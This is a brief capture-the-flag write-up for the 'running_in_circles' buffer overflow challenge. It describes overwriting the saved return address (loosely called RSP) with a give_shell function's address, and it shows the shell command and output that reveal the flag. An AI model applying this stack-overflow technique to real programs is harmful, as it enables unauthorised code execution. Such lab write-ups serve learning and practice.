This is an easy buffer overflow chall, and you're even given the give_shell function. Just overwrite RSP with the address of the give_shell function to get shell.
team843317@shellserver:~$ (cat run_circles_in.txt; echo 'cat /problems/running_in_circles/flag.txt') | /problems/running_in_circles/run_circlesWelcome to the circular buffer manager:
How many bytes? Enter your data: How many bytes? Enter your data: How many bytes? $ actf{you_dont_just_go_around_a_circle_once}$ Segmentation fault (core dumped)